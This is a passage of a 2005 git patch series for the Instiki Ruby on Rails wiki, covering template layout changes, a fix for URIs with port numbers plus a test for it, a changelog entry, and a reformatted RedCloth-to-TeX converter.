    @@ -10,5 +10,3 @@ Edit the page anyway | Cancel

    - -<%= render 'bottom' %> \ No newline at end of file diff --git a/app/views/wiki/login.rhtml b/app/views/wiki/login.rhtml index 24e94df9..5a404509 100755 --- a/app/views/wiki/login.rhtml +++ b/app/views/wiki/login.rhtml @@ -1,4 +1,4 @@ -<% @title = "#{@web_name} Login" %><% @hide_navigation = true %><%= render 'top' %> +<% @title = "#{@web_name} Login" %><% @hide_navigation = true %>

    @@ -6,6 +6,3 @@

  • - - -<%= render 'bottom' %> \ No newline at end of file diff --git a/app/views/wiki/new.rhtml b/app/views/wiki/new.rhtml index 5123ace3..fcd0cf86 100755 --- a/app/views/wiki/new.rhtml +++ b/app/views/wiki/new.rhtml @@ -2,7 +2,7 @@ @title = "Creating #{WikiWords.separate(CGI.unescape(@page_name))}" @content_width = 720 @hide_navigation = true -%><%= render 'top' %> +%> <%= render("#{@web.markup}_help") if @web %> @@ -23,5 +23,3 @@ function cleanAuthorName() { } } - -<%= render 'bottom' %> \ No newline at end of file diff --git a/app/views/wiki/new_system.rhtml b/app/views/wiki/new_system.rhtml index 9113e5f1..26f3bcac 100755 --- a/app/views/wiki/new_system.rhtml +++ b/app/views/wiki/new_system.rhtml @@ -1,4 +1,4 @@ -<% @title = "Instiki Setup"; @content_width = 500 %><%= render 'top' %> +<% @title = "Instiki Setup"; @content_width = 500 %>

    Congratulations on succesfully installing and starting Instiki. @@ -74,5 +74,3 @@ function validateSetup() { return true; } - -<%= render 'bottom' %> \ No newline at end of file diff --git a/app/views/wiki/new_web.rhtml b/app/views/wiki/new_web.rhtml index d5332269..39964fd6 100755 --- a/app/views/wiki/new_web.rhtml +++ b/app/views/wiki/new_web.rhtml @@ -1,4 +1,4 @@ -<% @title = "New Wiki Web"; @content_width = 500 %><%= render 'top' %> +<% @title = "New Wiki Web"; @content_width = 500 %>

    Each web serves as an isolated name space for wiki pages, so different subjects or projects can write about different MuppetShows. @@ -60,5 +60,3 @@ function validateSetup() { return true; } - -<%= render 'bottom' %> \ No newline at end of file diff --git a/app/views/wiki/page.rhtml b/app/views/wiki/page.rhtml index 8d506bd8..0c26057a 100755 --- a/app/views/wiki/page.rhtml +++ b/app/views/wiki/page.rhtml @@ -1,5 +1,4 @@ <% @title = @page.plain_name %> -<%= render 'top' %>

    <%= @page.display_content %> @@ -77,5 +76,3 @@ } } - -<%= render 'bottom' %> diff --git a/app/views/wiki/print.rhtml b/app/views/wiki/print.rhtml index c358c158..d7f20619 100755 --- a/app/views/wiki/print.rhtml +++ b/app/views/wiki/print.rhtml @@ -3,7 +3,7 @@ @hide_navigation = true @style_additions = ".newWikiWord { background-color: white; font-style: italic; }" @inline_style = true -%><%= render 'top' %> +%> <%= @page.display_content_for_export %> @@ -12,5 +12,3 @@ by <%= @page.author_link({ :mode => :export }) %>
    - -<%= render 'bottom' %> \ No newline at end of file diff --git a/app/views/wiki/published.rhtml b/app/views/wiki/published.rhtml index 191ffdae..77eddf38 100755 --- a/app/views/wiki/published.rhtml +++ b/app/views/wiki/published.rhtml @@ -3,8 +3,6 @@ @hide_navigation = false @style_additions = ".newWikiWord { background-color: white; font-style: italic; }" @inline_style = true -%><%= render 'top' %> +%> <%= @page.display_published %> - -<%= render 'bottom' %> diff --git a/app/views/wiki/recently_revised.rhtml b/app/views/wiki/recently_revised.rhtml index 5a387c7c..213889ce 100755 --- a/app/views/wiki/recently_revised.rhtml +++ b/app/views/wiki/recently_revised.rhtml @@ -1,4 +1,4 @@ -<% @title = "Recently Revised" %><%= render 'top' %> +<% @title = "Recently Revised" %> <% unless @categories.empty? %>
    @@ -26,5 +26,3 @@ <% revision_date = page.revised_on %> <% end %> - -<%= render 'bottom' %> diff --git a/app/views/wiki/revision.rhtml b/app/views/wiki/revision.rhtml index 52b2924c..461d11e5 100755 --- a/app/views/wiki/revision.rhtml +++ b/app/views/wiki/revision.rhtml @@ -1,4 +1,4 @@ -<% @title = "#{@page.plain_name} (Rev ##{@revision.number})" %><%= render 'top' %> +<% @title = "#{@page.plain_name} (Rev ##{@revision.number})" %>
    <%= @revision.display_content %> @@ -77,5 +77,3 @@ } } - -<%= render 'bottom' %> \ No newline at end of file diff --git a/app/views/wiki/rollback.rhtml b/app/views/wiki/rollback.rhtml index 7581f70e..7dba172a 100755 --- a/app/views/wiki/rollback.rhtml +++ b/app/views/wiki/rollback.rhtml @@ -2,7 +2,7 @@ @title = "Rollback to #{@page.plain_name} Rev ##{@revision.number}" @content_width = 720 @hide_navigation = true -%><%= render 'top' %> +%> <%= "

    Please correct the error that caused this error in rendering:
    #{@params["msg"]}

    " if @params["msg"] %> @@ -27,5 +27,3 @@ function cleanAuthorName() { } } - -<%= render 'bottom' %> diff --git a/app/views/wiki/search.rhtml b/app/views/wiki/search.rhtml index c3704fbf..9f3bb36d 100755 --- a/app/views/wiki/search.rhtml +++ b/app/views/wiki/search.rhtml @@ -1,4 +1,4 @@ -<% @title = @results.length > 0 ? "#{@results.length} pages contains \"#{@params["query"]}\"" : "No pages contains \"#{@query}\"" %><%= render 'top' %> +<% @title = @results.length > 0 ? "#{@results.length} pages contains \"#{@params["query"]}\"" : "No pages contains \"#{@query}\"" %> <% if @results.length > 0 %>
      @@ -11,5 +11,3 @@

      If you're a high-tech computer wizard, you might even want try constructing a regular expression. That's actually what Instiki uses, so go right ahead and flex your "[a-z]*Leet?RegExpSkill(s|z)"

      <% end %> - -<%= render 'bottom' %> diff --git a/app/views/wiki/web_list.rhtml b/app/views/wiki/web_list.rhtml index d05f25ca..71e124fb 100755 --- a/app/views/wiki/web_list.rhtml +++ b/app/views/wiki/web_list.rhtml @@ -1,4 +1,4 @@ -<% @title = "Wiki webs" %><%= render 'top' %> +<% @title = "Wiki webs" %>
        <% for web in @webs %> @@ -16,5 +16,3 @@ <% end %>
      - -<%= render 'bottom' %> diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index 504d6aa1..00a7a3e0 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -427,7 +427,7 @@ class WikiControllerTest < Test::Unit::TestCase @request.port = 8080 r = process 'rss_with_headlines', 'web' => 'wiki1' - + assert_success pages = r.template_objects['pages_by_revision'] assert_equal [@home, @oak, @elephant], pages, From 178f3f53eec98906b84363686d1da36c228f7a20 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 16 Jan 2005 16:04:45 +0000 Subject: [PATCH 010/529] Fixed rendering of URIs with port number; moved match.rb to test_helper (where it belongs) --- app/models/chunks/match.rb | 19 ------------------- app/models/chunks/uri.rb | 3 +++ test/test_helper.rb | 22 ++++++++++++++++++++++ test/unit/uri_test.rb | 10 ++++++++++ 4 files changed, 35 insertions(+), 19 deletions(-) delete mode 100755 app/models/chunks/match.rb diff --git a/app/models/chunks/match.rb b/app/models/chunks/match.rb deleted file mode 100755 index 2fb58db1..00000000 --- a/app/models/chunks/match.rb +++ /dev/null @@ -1,19 +0,0 @@ -# This module is to be included in unit tests that involve matching chunks. -# It provides a easy way to test whether a chunk matches a particular string -# and any the values of any fields that should be set after a match. -module ChunkMatch - - # Asserts a number of tests for the given type and text. - def match(type, test_text, expected) - pattern = type.pattern - assert_match(pattern, test_text) - pattern =~ test_text # Previous assertion guarantees match - chunk = type.new($~) - - # Test if requested parts are correct. - for method_sym, value in expected do - assert_respond_to(chunk, method_sym) - assert_equal(value, chunk.method(method_sym).call, "Checking value of '#{method_sym}'") - end - end -end diff --git a/app/models/chunks/uri.rb b/app/models/chunks/uri.rb index ded31645..8984b2d6 100755 --- a/app/models/chunks/uri.rb +++ b/app/models/chunks/uri.rb @@ -35,6 +35,9 @@ class URIChunk < Chunk::Abstract # markup. (Images: !URI!) and other punctuation eg, (http://wiki.com/) URI_ENDING = '[)!]' + # Correct a typo bug in ruby 1.8.x lib/uri/common.rb + PORT = '\\d*' + # The basic URI expression as a string URI_PATTERN = "(?:(#{SCHEME})://)?" + # Optional scheme:// (\1|\8) diff --git a/test/test_helper.rb b/test/test_helper.rb index 31fdd36d..fa83110b 100755 --- a/test/test_helper.rb +++ b/test/test_helper.rb @@ -32,6 +32,7 @@ class WikiServiceWithNoPersistence end end + # With the new cookies infrastructure, @response.cookies['foo'] is no good anymore. # Pending implementation in Rails, here is a convenience method for accessing cookies from a test @@ -46,3 +47,24 @@ module ActionController end end end + + +# This module is to be included in unit tests that involve matching chunks. +# It provides a easy way to test whether a chunk matches a particular string +# and any the values of any fields that should be set after a match. +module ChunkMatch + + # Asserts a number of tests for the given type and text. + def match(type, test_text, expected) + pattern = type.pattern + assert_match(pattern, test_text) + pattern =~ test_text # Previous assertion guarantees match + chunk = type.new($~) + + # Test if requested parts are correct. + for method_sym, value in expected do + assert_respond_to(chunk, method_sym) + assert_equal(value, chunk.method(method_sym).call, "Checking value of '#{method_sym}'") + end + end +end diff --git a/test/unit/uri_test.rb b/test/unit/uri_test.rb index 474e26e1..0b427840 100755 --- a/test/unit/uri_test.rb +++ b/test/unit/uri_test.rb @@ -89,4 +89,14 @@ class URITest < Test::Unit::TestCase :path => '/~mail2minh/SonyEricssonP80xPlatform.sis' ) end + + def test_uri_with_port + match( + URIChunk, + "This text contains a URL http://someplace.org:8080/~person/stuff.cgi?arg=val, doesn't it?", + :scheme => 'http', :host => 'someplace.org', :port => '8080', :path => '/~person/stuff.cgi', + :query => 'arg=val' + ) + end + end From 0fca1f5d1aec39d32adff644b8742e42d0fae995 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 16 Jan 2005 16:42:14 +0000 Subject: [PATCH 011/529] Documented the last change in CHANGELOG --- CHANGELOG | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG b/CHANGELOG index dc8104c0..87f6e082 100755 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,4 +1,5 @@ HEAD: + Parsing of URIs with a port (http://someplace.org:8080) fixed Madeleine will check every hour if there are new commands in the log or 24 hours have passed since last snapshot, and take snapshot if either of these conditions is true Wiki extracts (to HTML and plain text) will leave only the last extract file in ./storage From 590af3ae4f598a416c1bc2643e9f058ada7a0db6 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 16 Jan 2005 19:12:22 +0000 Subject: [PATCH 012/529] compulsive tweaking of quotes --- config/environment.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/config/environment.rb b/config/environment.rb index 478514d9..f38efb72 100644 --- a/config/environment.rb +++ b/config/environment.rb @@ -1,9 +1,9 @@ -if RUBY_VERSION < "1.8.1" - puts "Instiki requires Ruby 1.8.1+" +if RUBY_VERSION < '1.8.1' + puts 'Instiki requires Ruby 1.8.1+' exit end -RAILS_ROOT = File.dirname(__FILE__) + "/../" unless defined? RAILS_ROOT +RAILS_ROOT = File.dirname(__FILE__) + '/../' unless defined? RAILS_ROOT RAILS_ENV = ENV['RAILS_ENV'] || 'production' unless defined? RAILS_ENV unless defined? ADDITIONAL_LOAD_PATHS From 6f943a01d4cf0f0f65bfd2b996548c53a9a503ea Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 16 Jan 2005 19:18:34 +0000 Subject: [PATCH 013/529] Changed a file comment and reformatted redcloth_for_tex.rb --- libraries/redcloth_for_tex.rb | 1427 +++++++++++++++------------------ 1 file changed, 640 insertions(+), 787 deletions(-) diff --git a/libraries/redcloth_for_tex.rb b/libraries/redcloth_for_tex.rb index 9c347645..7f7f52ce 100755 --- a/libraries/redcloth_for_tex.rb +++ b/libraries/redcloth_for_tex.rb @@ -1,880 +1,733 @@ -# vim:ts=4:sw=4: -# = RedCloth - Textile for Ruby -# -# (c) 2003 why the lucky stiff (and his puppet organizations.) -# -# (see http://www.textism.com/tools/textile/ for Textile) -# -# Based on (and also inspired by) both: -# -# PyTextile: http://diveintomark.org/projects/textile/textile.py.txt -# Textism for PHP: http://www.textism.com/tools/textile/ -# -# -# == What is Textile? -# -# Textile is a simple formatting style for text -# documents, loosely based on some HTML conventions. -# -# === Sample Textile Text -# -# h2. This is a title -# -# h3. This is a subhead -# -# This is a bit of paragraph. -# -# bq. This is a blockquote. -# -# === Writing Textile -# -# A Textile document consists of paragraphs. Paragraphs -# can be specially formatted by adding a small instruction -# to the beginning of the paragraph. -# -# h[n]. Header of size [n]. -# bq. Blockquote. -# # Numeric list. -# * Bulleted list. -# -# === Quick Phrase Modifiers -# -# Quick phrase modifiers are also included, to allow formatting -# of small portions of text within a paragraph. -# -# _emphasis_ -# __italicized__ -# *strong* -# **bold** -# ??citation?? -# -deleted text- -# +inserted text+ -# ^superscript^ -# ~subscript~ -# @code@ -# %(classname)span% -# -# ==notextile== (leave text alone) -# -# === Links -# -# To make a hypertext link, put the link text in "quotation -# marks" followed immediately by a colon and the URL of the link. -# -# Optional: text in (parentheses) following the link text, -# but before the closing quotation mark, will become a Title -# attribute for the link, visible as a tool tip when a cursor is above it. -# -# Example: -# -# "This is a link (This is a title) ":http://www.textism.com -# -# Will become: -# -# This is a link -# -# === Images -# -# To insert an image, put the URL for the image inside exclamation marks. -# -# Optional: text that immediately follows the URL in (parentheses) will -# be used as the Alt text for the image. Images on the web should always -# have descriptive Alt text for the benefit of readers using non-graphical -# browsers. -# -# Optional: place a colon followed by a URL immediately after the -# closing ! to make the image into a link. -# -# Example: -# -# !http://www.textism.com/common/textist.gif(Textist)! -# -# Will become: -# -# Textist -# -# With a link: -# -# !/common/textist.gif(Textist)!:http://textism.com -# -# Will become: -# -# Textist -# -# === Defining Acronyms -# -# HTML allows authors to define acronyms via the tag. The definition appears as a -# tool tip when a cursor hovers over the acronym. A crucial aid to clear writing, -# this should be used at least once for each acronym in documents where they appear. -# -# To quickly define an acronym in Textile, place the full text in (parentheses) -# immediately following the acronym. -# -# Example: -# -# ACLU(American Civil Liberties Union) -# -# Will become: -# -# ACLU -# -# === Adding Tables -# -# In Textile, simple tables can be added by seperating each column by -# a pipe. -# -# |a|simple|table|row| -# |And|Another|table|row| -# -# Attributes are defined by style definitions in parentheses. -# -# table(border:1px solid black). -# (background:#ddd;color:red). |{}| | | | -# -# === Using RedCloth -# -# RedCloth is simply an extension of the String class, which can handle -# Textile formatting. Use it like a String and output HTML with its -# RedCloth#to_html method. -# -# doc = RedCloth.new " -# -# h2. Test document -# -# Just a simple test." -# -# puts doc.to_html +# This is RedCloth (http://www.whytheluckystiff.net/ruby/redcloth/) +# converted by David Heinemeier Hansson to emit Tex class String - # - # Flexible HTML escaping - # - def texesc!( mode ) - gsub!( '&', '\\\\&' ) - gsub!( '%', '\%' ) - gsub!( '$', '\$' ) - end + # Flexible HTML escaping + def texesc!( mode ) + gsub!( '&', '\\\\&' ) + gsub!( '%', '\%' ) + gsub!( '$', '\$' ) + end end def table_of_contents(text, pages) text.gsub!( /^([#*]+? .*?)$(?![^#*])/m ) do |match| - lines = match.split( /\n/ ) - last_line = -1 - depth = [] - lines.each_with_index do |line, line_id| - if line =~ /^([#*]+) (.*)$/m - tl,content = $~[1..2] - content.gsub! /[\[\]]/, "" - content.strip! - - if depth.last - if depth.last.length > tl.length - (depth.length - 1).downto(0) do |i| - break if depth[i].length == tl.length - lines[line_id - 1] << "" # "\n\t\\end{#{ lT( depth[i] ) }}\n\t" - depth.pop - end - end - if !depth.last.nil? && !tl.length.nil? && depth.last.length == tl.length - lines[line_id - 1] << '' - end - end - - depth << tl unless depth.last == tl - - subsection_depth = [depth.length - 1, 2].min - - lines[line_id] = "\n\\#{ "sub" * subsection_depth }section{#{ content }}" - lines[line_id] += "\n#{pages[content]}" if pages.keys.include?(content) - - lines[line_id] = "\\pagebreak\n#{lines[line_id]}" if subsection_depth == 0 - - last_line = line_id - - elsif line =~ /^\s+\S/ - last_line = line_id - elsif line_id - last_line < 2 and line =~ /^\S/ - last_line = line_id + lines = match.split( /\n/ ) + last_line = -1 + depth = [] + lines.each_with_index do |line, line_id| + if line =~ /^([#*]+) (.*)$/m + tl,content = $~[1..2] + content.gsub! /[\[\]]/, "" + content.strip! + + if depth.last + if depth.last.length > tl.length + (depth.length - 1).downto(0) do |i| + break if depth[i].length == tl.length + lines[line_id - 1] << "" # "\n\t\\end{#{ lT( depth[i] ) }}\n\t" + depth.pop + end end - if line_id - last_line > 1 or line_id == lines.length - 1 - depth.delete_if do |v| - lines[last_line] << "" # "\n\t\\end{#{ lT( v ) }}" - end + if !depth.last.nil? && !tl.length.nil? && depth.last.length == tl.length + lines[line_id - 1] << '' end + end + + depth << tl unless depth.last == tl + + subsection_depth = [depth.length - 1, 2].min + + lines[line_id] = "\n\\#{ "sub" * subsection_depth }section{#{ content }}" + lines[line_id] += "\n#{pages[content]}" if pages.keys.include?(content) + + lines[line_id] = "\\pagebreak\n#{lines[line_id]}" if subsection_depth == 0 + + last_line = line_id + + elsif line =~ /^\s+\S/ + last_line = line_id + elsif line_id - last_line < 2 and line =~ /^\S/ + last_line = line_id end - lines.join( "\n" ) + if line_id - last_line > 1 or line_id == lines.length - 1 + depth.delete_if do |v| + lines[last_line] << "" # "\n\t\\end{#{ lT( v ) }}" + end + end + end + lines.join( "\n" ) end end class RedClothForTex < String - - VERSION = '2.0.7' - - # - # Mapping of 8-bit ASCII codes to HTML numerical entity equivalents. - # (from PyTextile) - # - TEXTILE_TAGS = - - [[128, 8364], [129, 0], [130, 8218], [131, 402], [132, 8222], [133, 8230], - [134, 8224], [135, 8225], [136, 710], [137, 8240], [138, 352], [139, 8249], - [140, 338], [141, 0], [142, 0], [143, 0], [144, 0], [145, 8216], [146, 8217], - [147, 8220], [148, 8221], [149, 8226], [150, 8211], [151, 8212], [152, 732], - [153, 8482], [154, 353], [155, 8250], [156, 339], [157, 0], [158, 0], [159, 376]]. - - collect! do |a, b| - [a.chr, ( b.zero? and "" or "&#{ b };" )] - end - - # - # Regular expressions to convert to HTML. - # - A_HLGN = /(?:(?:<>|<|>|\=|[()]+)+)/ - A_VLGN = /[\-^~]/ - C_CLAS = '(?:\([^)]+\))' - C_LNGE = '(?:\[[^\]]+\])' - C_STYL = '(?:\{[^}]+\})' - S_CSPN = '(?:\\\\\d+)' - S_RSPN = '(?:/\d+)' - A = "(?:#{A_HLGN}?#{A_VLGN}?|#{A_VLGN}?#{A_HLGN}?)" - S = "(?:#{S_CSPN}?#{S_RSPN}|#{S_RSPN}?#{S_CSPN}?)" - C = "(?:#{C_CLAS}?#{C_STYL}?#{C_LNGE}?|#{C_STYL}?#{C_LNGE}?#{C_CLAS}?|#{C_LNGE}?#{C_STYL}?#{C_CLAS}?)" - # PUNCT = Regexp::quote( '!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~' ) - PUNCT = Regexp::quote( '!"#$%&\'*+,-./:;=?@\\^_`|~' ) - HYPERLINK = '(\S+?)([^\w\s/;=\?]*?)(\s|$)' - - GLYPHS = [ - # [ /([^\s\[{(>])?\'([dmst]\b|ll\b|ve\b|\s|:|$)/, '\1’\2' ], # single closing - [ /([^\s\[{(>])\'/, '\1’' ], # single closing - [ /\'(?=\s|s\b|[#{PUNCT}])/, '’' ], # single closing - [ /\'/, '‘' ], # single opening - # [ /([^\s\[{(])?"(\s|:|$)/, '\1”\2' ], # double closing - [ /([^\s\[{(>])"/, '\1”' ], # double closing - [ /"(?=\s|[#{PUNCT}])/, '”' ], # double closing - [ /"/, '“' ], # double opening - [ /\b( )?\.{3}/, '\1…' ], # ellipsis - [ /\b([A-Z][A-Z0-9]{2,})\b(?:[(]([^)]*)[)])/, '\1' ], # 3+ uppercase acronym - [ /(^|[^"][>\s])([A-Z][A-Z0-9 ]{2,})([^\2\3' ], # 3+ uppercase caps - [ /(\.\s)?\s?--\s?/, '\1—' ], # em dash - [ /\s->\s/, ' → ' ], # en dash - [ /\s-\s/, ' – ' ], # en dash - [ /(\d+) ?x ?(\d+)/, '\1×\2' ], # dimension sign - [ /\b ?[(\[]TM[\])]/i, '™' ], # trademark - [ /\b ?[(\[]R[\])]/i, '®' ], # registered - [ /\b ?[(\[]C[\])]/i, '©' ] # copyright - ] - - I_ALGN_VALS = { + + VERSION = '2.0.7' + + # + # Mapping of 8-bit ASCII codes to HTML numerical entity equivalents. + # (from PyTextile) + # + TEXTILE_TAGS = + + [[128, 8364], [129, 0], [130, 8218], [131, 402], [132, 8222], [133, 8230], + [134, 8224], [135, 8225], [136, 710], [137, 8240], [138, 352], [139, 8249], + [140, 338], [141, 0], [142, 0], [143, 0], [144, 0], [145, 8216], [146, 8217], + [147, 8220], [148, 8221], [149, 8226], [150, 8211], [151, 8212], [152, 732], + [153, 8482], [154, 353], [155, 8250], [156, 339], [157, 0], [158, 0], [159, 376]]. + + collect! do |a, b| + [a.chr, ( b.zero? and "" or "&#{ b };" )] + end + + # + # Regular expressions to convert to HTML. + # + A_HLGN = /(?:(?:<>|<|>|\=|[()]+)+)/ + A_VLGN = /[\-^~]/ + C_CLAS = '(?:\([^)]+\))' + C_LNGE = '(?:\[[^\]]+\])' + C_STYL = '(?:\{[^}]+\})' + S_CSPN = '(?:\\\\\d+)' + S_RSPN = '(?:/\d+)' + A = "(?:#{A_HLGN}?#{A_VLGN}?|#{A_VLGN}?#{A_HLGN}?)" + S = "(?:#{S_CSPN}?#{S_RSPN}|#{S_RSPN}?#{S_CSPN}?)" + C = "(?:#{C_CLAS}?#{C_STYL}?#{C_LNGE}?|#{C_STYL}?#{C_LNGE}?#{C_CLAS}?|#{C_LNGE}?#{C_STYL}?#{C_CLAS}?)" + # PUNCT = Regexp::quote( '!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~' ) + PUNCT = Regexp::quote( '!"#$%&\'*+,-./:;=?@\\^_`|~' ) + HYPERLINK = '(\S+?)([^\w\s/;=\?]*?)(\s|$)' + + GLYPHS = [ + # [ /([^\s\[{(>])?\'([dmst]\b|ll\b|ve\b|\s|:|$)/, '\1’\2' ], # single closing + [ /([^\s\[{(>])\'/, '\1’' ], # single closing + [ /\'(?=\s|s\b|[#{PUNCT}])/, '’' ], # single closing + [ /\'/, '‘' ], # single opening + # [ /([^\s\[{(])?"(\s|:|$)/, '\1”\2' ], # double closing + [ /([^\s\[{(>])"/, '\1”' ], # double closing + [ /"(?=\s|[#{PUNCT}])/, '”' ], # double closing + [ /"/, '“' ], # double opening + [ /\b( )?\.{3}/, '\1…' ], # ellipsis + [ /\b([A-Z][A-Z0-9]{2,})\b(?:[(]([^)]*)[)])/, '\1' ], # 3+ uppercase acronym + [ /(^|[^"][>\s])([A-Z][A-Z0-9 ]{2,})([^\2\3' ], # 3+ uppercase caps + [ /(\.\s)?\s?--\s?/, '\1—' ], # em dash + [ /\s->\s/, ' → ' ], # en dash + [ /\s-\s/, ' – ' ], # en dash + [ /(\d+) ?x ?(\d+)/, '\1×\2' ], # dimension sign + [ /\b ?[(\[]TM[\])]/i, '™' ], # trademark + [ /\b ?[(\[]R[\])]/i, '®' ], # registered + [ /\b ?[(\[]C[\])]/i, '©' ] # copyright + ] + + I_ALGN_VALS = { '<' => 'left', '=' => 'center', '>' => 'right' - } - - H_ALGN_VALS = { + } + + H_ALGN_VALS = { '<' => 'left', '=' => 'center', '>' => 'right', '<>' => 'justify' - } - - V_ALGN_VALS = { + } + + V_ALGN_VALS = { '^' => 'top', '-' => 'middle', '~' => 'bottom' - } - - QTAGS = [ - ['**', 'bf'], - ['*', 'bf'], - ['??', 'cite'], - ['-', 'del'], - ['__', 'underline'], - ['_', 'em'], - ['%', 'span'], - ['+', 'ins'], - ['^', 'sup'], - ['~', 'sub'] - ] - - def self.available? - if not defined? @@available - begin - @@available = system "pdflatex -version" - rescue Errno::ENOENT - @@available = false + } + + QTAGS = [ + ['**', 'bf'], + ['*', 'bf'], + ['??', 'cite'], + ['-', 'del'], + ['__', 'underline'], + ['_', 'em'], + ['%', 'span'], + ['+', 'ins'], + ['^', 'sup'], + ['~', 'sub'] + ] + + def self.available? + if not defined? @@available + begin + @@available = system "pdflatex -version" + rescue Errno::ENOENT + @@available = false + end + end + @@available + end + + # + # Two accessor for setting security restrictions. + # + # This is a nice thing if you're using RedCloth for + # formatting in public places (e.g. Wikis) where you + # don't want users to abuse HTML for bad things. + # + # If +:filter_html+ is set, HTML which wasn't + # created by the Textile processor will be escaped. + # + # If +:filter_styles+ is set, it will also disable + # the style markup specifier. ('{color: red}') + # + attr_accessor :filter_html, :filter_styles + + # + # Accessor for toggling line folding. + # + # If +:fold_lines+ is set, single newlines will + # not be converted to break tags. + # + attr_accessor :fold_lines + + def initialize( string, restrictions = [] ) + restrictions.each { |r| method( "#{ r }=" ).call( true ) } + super( string ) + end + + # + # Generate tex. + # + def to_tex( lite = false ) + + # make our working copy + text = self.dup + + @urlrefs = {} + @shelf = [] + + # incoming_entities text + fix_entities text + clean_white_space text + + get_refs text + + no_textile text + + unless lite + lists text + table text + end + + glyphs text + + unless lite + fold text + block text + end + + retrieve text + encode_entities text + + text.gsub!(/\[\[(.*?)\]\]/, "\\1") + text.gsub!(/_/, "\\_") + text.gsub!( /<\/?notextile>/, '' ) + # text.gsub!( /x%x%/, '&' ) + # text.gsub!( /
      /, "
      \n" ) + text.strip! + text + + end + + def pgl( text ) + GLYPHS.each do |re, resub| + text.gsub! re, resub + end + end + + def pba( text_in, element = "" ) + + return '' unless text_in + + style = [] + text = text_in.dup + if element == 'td' + colspan = $1 if text =~ /\\(\d+)/ + rowspan = $1 if text =~ /\/(\d+)/ + style << "vertical-align:#{ v_align( $& ) };" if text =~ A_VLGN + end + + style << "#{ $1 };" if not @filter_styles and + text.sub!( /\{([^}]*)\}/, '' ) + + lang = $1 if + text.sub!( /\[([^)]+?)\]/, '' ) + + cls = $1 if + text.sub!( /\(([^()]+?)\)/, '' ) + + style << "padding-left:#{ $1.length }em;" if + text.sub!( /([(]+)/, '' ) + + style << "padding-right:#{ $1.length }em;" if text.sub!( /([)]+)/, '' ) + + style << "text-align:#{ h_align( $& ) };" if text =~ A_HLGN + + cls, id = $1, $2 if cls =~ /^(.*?)#(.*)$/ + + atts = '' + atts << " style=\"#{ style.join }\"" unless style.empty? + atts << " class=\"#{ cls }\"" unless cls.to_s.empty? + atts << " lang=\"#{ lang }\"" if lang + atts << " id=\"#{ id }\"" if id + atts << " colspan=\"#{ colspan }\"" if colspan + atts << " rowspan=\"#{ rowspan }\"" if rowspan + + atts + end + + def table( text ) + text << "\n\n" + text.gsub!( /^(?:table(_?#{S}#{A}#{C})\. ?\n)?^(#{A}#{C}\.? ?\|.*?\|)\n\n/m ) do |matches| + + tatts, fullrow = $~[1..2] + tatts = pba( tatts, 'table' ) + rows = [] + + fullrow. + split( /\|$/m ). + delete_if { |x| x.empty? }. + each do |row| + + ratts, row = pba( $1, 'tr' ), $2 if row =~ /^(#{A}#{C}\. )(.*)/m + + cells = [] + row.split( '|' ).each do |cell| + ctyp = 'd' + ctyp = 'h' if cell =~ /^_/ + + catts = '' + catts, cell = pba( $1, 'td' ), $2 if cell =~ /^(_?#{S}#{A}#{C}\. )(.*)/ + + unless cell.strip.empty? + cells << "\t\t\t#{ cell }" + end + end + rows << "\t\t\n#{ cells.join( "\n" ) }\n\t\t" + end + "\t\n#{ rows.join( "\n" ) }\n\t\n\n" + end + end + + def lists( text ) + text.gsub!( /^([#*]+?#{C} .*?)$(?![^#*])/m ) do |match| + lines = match.split( /\n/ ) + last_line = -1 + depth = [] + lines.each_with_index do |line, line_id| + if line =~ /^([#*]+)(#{A}#{C}) (.*)$/m + tl,atts,content = $~[1..3] + if depth.last + if depth.last.length > tl.length + (depth.length - 1).downto(0) do |i| + break if depth[i].length == tl.length + lines[line_id - 1] << "\n\t\\end{#{ lT( depth[i] ) }}\n\t" + depth.pop + end + end + if !depth.last.nil? && !tl.length.nil? && depth.last.length == tl.length + lines[line_id - 1] << '' + end + end + unless depth.last == tl + depth << tl + atts = pba( atts ) + lines[line_id] = "\t\\begin{#{ lT(tl) }}\n\t\\item #{ content }" + else + lines[line_id] = "\t\t\\item #{ content }" + end + last_line = line_id + + elsif line =~ /^\s+\S/ + last_line = line_id + elsif line_id - last_line < 2 and line =~ /^\S/ + last_line = line_id + end + if line_id - last_line > 1 or line_id == lines.length - 1 + depth.delete_if do |v| + lines[last_line] << "\n\t\\end{#{ lT( v ) }}" + end end end - @@available + lines.join( "\n" ) end - - # - # Two accessor for setting security restrictions. - # - # This is a nice thing if you're using RedCloth for - # formatting in public places (e.g. Wikis) where you - # don't want users to abuse HTML for bad things. - # - # If +:filter_html+ is set, HTML which wasn't - # created by the Textile processor will be escaped. - # - # If +:filter_styles+ is set, it will also disable - # the style markup specifier. ('{color: red}') - # - attr_accessor :filter_html, :filter_styles - - # - # Accessor for toggling line folding. - # - # If +:fold_lines+ is set, single newlines will - # not be converted to break tags. - # - attr_accessor :fold_lines - - def initialize( string, restrictions = [] ) - restrictions.each { |r| method( "#{ r }=" ).call( true ) } - super( string ) - end - - # - # Generate tex. - # - def to_tex( lite = false ) - - # make our working copy - text = self.dup - - @urlrefs = {} - @shelf = [] - - # incoming_entities text - fix_entities text - clean_white_space text - - get_refs text - - no_textile text - - unless lite - lists text - table text - end - - glyphs text - - unless lite - fold text - block text - end - - retrieve text - encode_entities text - - text.gsub!(/\[\[(.*?)\]\]/, "\\1") - text.gsub!(/_/, "\\_") - text.gsub!( /<\/?notextile>/, '' ) - # text.gsub!( /x%x%/, '&' ) - # text.gsub!( /
      /, "
